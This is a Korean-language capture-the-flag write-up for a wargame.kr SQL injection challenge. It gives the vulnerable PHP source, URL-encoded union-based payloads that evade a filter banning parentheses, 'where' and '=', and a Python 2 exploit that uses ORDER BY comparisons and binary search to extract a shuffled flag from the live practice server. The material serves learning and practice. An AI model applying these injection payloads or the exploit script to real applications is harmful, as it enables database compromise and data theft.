이 문제는
이 문제에서 필터링이 강화된 문제로서 거의 유사하다. 다만, 괄호를 하나도 쓸 수 없다는 정말 빡센 제약이 존재한다.
여튼 풀이 방법은 거의 유사한줄 알았는데 이렇게 내 발목을 잡을줄이야...
<?php
error_reporting(0);
include("./config.php"); // hidden column name
include("../lib.php"); // auth_code function
mysql_connect("localhost","zairo","zairo_pz");
mysql_select_db("zairo");
/**********************************************************************************************************************/
function rand_string()
{
$string = "1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
}
function reset_flag($count_column, $flag_column)
{
global $count;
$flag = rand_string();
$query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
$count = $query[$count_column];
if($query[$count_column] == 150)
{
if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
{
mysql_query("UPDATE findflag_2 SET $count_column=0;");
echo "reset flag<hr>";
}
return $flag;
}
else
{
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
}
return $query[$flag_column];
}
function get_pw($pw_column){
$query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
return $query[$pw_column];
}
/**********************************************************************************************************************/
$tmp_flag = "";
$tmp_pw = "";
$id = $_GET['id'];
$pw = $_GET['pw'];
$flags = $_GET['flag'];
$count = 0;
if(isset($id))
{
if(preg_match("/information|schema|user|where|=/i", $id) || substr_count($id,"(") > 0) exit("no hack");
if(preg_match("/information|schema|user|where|=/i", $pw) || substr_count($pw,"(") > 0) exit("no hack");
$tmp_flag = reset_flag($count_column, $flag_column);
$tmp_pw = get_pw($pw_column);
$query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
echo "<hr />NOW COUNT = {$count}<br />";
if($query[$id_column])
{
if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
{
echo "good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
}
else
{
echo "Hello ".$query[$id_column]."<hr>";
}
}
}else {
highlight_file(__FILE__);
}
?>
패스워드 컬럼을 알아보기 위해 다음과 같이 입력한다.
?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23
패스워드 컬럼을 알아냈다.
이렇게 쿼리를 짜서 보내자.
?id=%27%20union%20select%201%2CxvvcPw4coaa1sslfe%2C3%2C4%2C5%20/%2A&pw=%2A/%20from%20findflag_2%20%23
패스워드도 알아냈다.
아이디를 알아내야하는데 이 문제에서는 where과 =를 사용할 수가 없다.
고로 1=1 union 이었던걸 다음과 같이 1 like 1 로 바꿔준다.
?id=' OR 1 like 1 union select 1%2C2%2C&pw=%2C4%2C5%23
이제 대 난관인 플래그만 남았다. (를 사용할 수 없으니 서브쿼리의 사용도 어려워보인다.
그래서 시도해본건 우선 order by를 이용해보기로 했다. 원래는 order by에서도 서브쿼리를 사용할 수 있지만 괄호를 사용할 수 없으니..
error base를 사용하는 글 같은데, 그냥 착안해서.. 이렇게 생각을 해봤다.
1열에 a가 있다면,
2열에 z를 넣으면 order by에 의해서 값이 변경해지지않을까? 해서 blind로 해볼수있지 않을까 생각을 해봤는데..
정상 아스키코드값이 아니면(a~Z, 특문등) 그냥 1열을 출력하는데 그 반대의 경우는 그냥 2열을 출력했다.
urllib.quote("*/ union SELECT 1,{},3,4,5 FROM findflag_2 order by 2 limit 1 #".format(hex(j)))
이런 느낌으로 해봤는데 사실, 150번만 하면 리셋이 되버리기 때문에 이게 가능한가 생각이 들었다..그러다가 order by로 값을 order by 해보았는데 신기하게도 계속 같은 값이 나왔다. 희한했다.
data = "?id="
data = data + urllib.quote("' union select 1,2,3,4,5 from findflag_2 /*")
data = data + "&pw="
data = data + urllib.quote("*/ union select true,true,'{}{}',4,5 order by 3 desc#".format('w',string[i]))
data = data + "&flag="
data = data + urllib.quote("")
req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers)
response = urllib2.urlopen(req)
res = response.read()
print res
이런 느낌이다. for문을 이용해서 하나씩 빼다가, 다른값이 나오는 값 이전의 데이터를 넣고 하나씩 돌리다보면,
wkdlfhpw (이후는 전부 z)값을 얻을 수가 있다. 그런데.. order by 3컬럼은 비밀번호였다 ㅡㅡ 이미 알고있는 값... 어처구니 미싱...
왜 굳이 3으로 했냐 돌대가리야 하면서 4로 옮겨서 돌려보기 시작했다. 돌릴때마다 리셋이 되는걸 보니 맞다.
flag값은 36자리로 정확히 정해져있으므로 한번 나온 값은 다시 나오지 않는다. 그래서 대충 코드를 이렇게 짜봤는데, 한 10자리만 돌리면 이후부턴 제대로 값을 알아내질 못한다. 예를들어 이렇게 나온다.
kvj3yha675zxwutsrqponmligfedcb098421
한 열자리까지는 정상 범주로 가는것 같다가도 남은자리를 그냥 출력해버리고 마는것이다.... 잘되다가 막힌 느낌이었다. (사실, 이게 정답인지도 모르고 하지만서도..)
짧게는 5자리에서도 그러는데, 내 생각엔 다음으로 올 아스키코드보다 큰 수가 박히게 되면 다음값을 계산못하는게 아닌가.. 그런생각을 했다.
그래서 어떻게 했느냐? 그냥 될때까지 돌려보기로 했다 (--) 돌리는 와중에 str_shuffle에 취약점이 없나 살펴보는것도 잊지 않았지만 소득은 딱히...(
str_shuffle은 게싱하기 쉬운 함수라고 한다. 그럼.. 얘를 돌파할 수 있는 코드를 짜야한다는건가?;;)
한참 고민을 하다보니 10자리에서 왜 출력이 안되는지 알 수 있었다. 임의로 코드를 짜봤는데 다음과 같다
import random
s = "0123456789abcdefghijklmnopqrstuvwxyz"
sqlstr = ''.join(random.sample(s,len(s)))
string = "0123456789abcdefghijklmnopqrstuvwxyz{"
count = 0
answ = ""
while(1):
for i in range(0,len(string)):
condition = "{}{}".format(answ,string[i])
print answ, string
if sqlstr < condition:
answ = str(answ) + str(string[(i-1)])
string = string.replace(str(string[(i-1)]),'')
break
count = count + 1
if count >= 150:
print "\nfailed"
print "origin:" + sqlstr
print "found :" + answ
print "remain:" + str(len(string)-1)
break
else:
print count
if len(answ) == 36:
print "\ncomplete"
print "guessed:" + answ
print "origin :" + sqlstr
print "match :" + str(answ == sqlstr)
print "count:" + str(count)
break
내가 돌린 방법과 임의 문자열을 한개씩 매칭할때, 150번으론 택도 없다는 결론에 도달할 수 있었다.
못해도 290회, 많게는 420회까지 횟수가 필요했다.
===========
2017.01.08
새해.. 나는 이 문제를 풀고말겠다는 일념을 다졌다. 왜냐면, 아이디어 하나가 스쳐갔기때문이다.
왜 단순히 range로 생각했을까? 뭔가를 찾으려면 바이너리 서치를 하면되는데..
다만 이 경우에는 완전히 match를 구분할 수 있는 방법이 없기때문에 넘겨 짚었던것 같다. 어쨌든, match 없이 string을 찾는 python code를 작성해봤다. (첨작성한것과 jake가 작성한거랑 다름)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from random import sample
from copy import deepcopy
s = "0123456789abcdefghijklmnopqrstuvwxyz"
chars = list(s)[::-1]
secret = ''.join(sample(s, len(s)))
ans = ""
comp = 0
while True and len(chars):
lo = 0
hi = len(chars)
guessed = []
while lo <= hi:
mid = (lo + hi) // 2
char = chars[mid]
if char in guessed:
ans += char
chars.remove(char)
break
charless = deepcopy(chars)
charless.remove(char)
guess = "{0}{1}{2}".format(ans, char, ''.join(charless))
guessed.append(char)
if lo == hi:
ans += char
chars.remove(char)
elif secret > guess:
hi = mid
else:
lo = mid
comp += 1
print "{0}\t{1}\t{2}\t{3}\t{4}\t{5}".format(secret, guess, hi, lo, mid, comp)
잘나온다. 심지어 150번안에 수행완료..
물론, 위코드처럼 돌리면 횟수가 딸리는데, 어쨌든 바이너리서치형태로 만들어서 시도하면 문제 정복에 성공할 수 있다.
#!/usr/bin/env python
# -*- coding: utf8 -*-
import re, sys, time, urllib, urllib2
headers = {'Host': 'wargame.kr:8080'}
s = "0123456789abcdefghijklmnopqrstuvwxyz"
chars = list(s)[::-1]
ans = ""
while True and len(chars):
lo = 0
hi = len(chars)
guessed = []
while lo <= hi:
time.sleep(0.01)
mid = (lo + hi) // 2
char = chars[mid]
if char in guessed:
ans += char
chars.remove(char)
break
charless = list(chars)
charless.remove(char)
guess = "{0}{1}{2}".format(ans, char, ''.join(charless))
guessed.append(char)
id = urllib.quote("'UNION SELECT * FROM findflag_2/*")
pw = urllib.quote("*/UNION SELECT 1,2,3,\"{}\",5 ORDER BY 4 ASC#".format(guess))
data = "?id={0}&pw={1}&flag=".format(id, pw)
req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers)
response = urllib2.urlopen(req)
res = response.read()
count = re.findall(r"NOW COUNT = (\d+)", res)[0]
if "reset" in res:
sys.exit("[!] FAILED: FLAG RESET")
if "zairowkdlfhdkel" in res:
lo = mid
else:
hi = mid
print "{0}\t{1}\t{2}\t{3}\t{4}".format(guess, hi, lo, mid, count)
pass
req = urllib2.Request("http://wargame.kr:8080/zairo/?id=zairowkdlfhdkel&pw=wkdlfhpw!!@%%%23@@%23&flag={0}".format(guess), '', headers)
response = urllib2.urlopen(req).read()
flag = re.findall(r"FLAG : <b>([0-9a-f]+)</b>", response)
print "[*] OUR GUESS: {0}".format(guess)
print "[!] SUCCESS! FLAG: {0}".format(flag[0])
개인시간도 부족하고 헤매서 오래 걸렸는데 괜히 감회가 새로운 느낌이다. 888점 획득!
늘모
2016/06/22 03:27
2016/06/22 03:27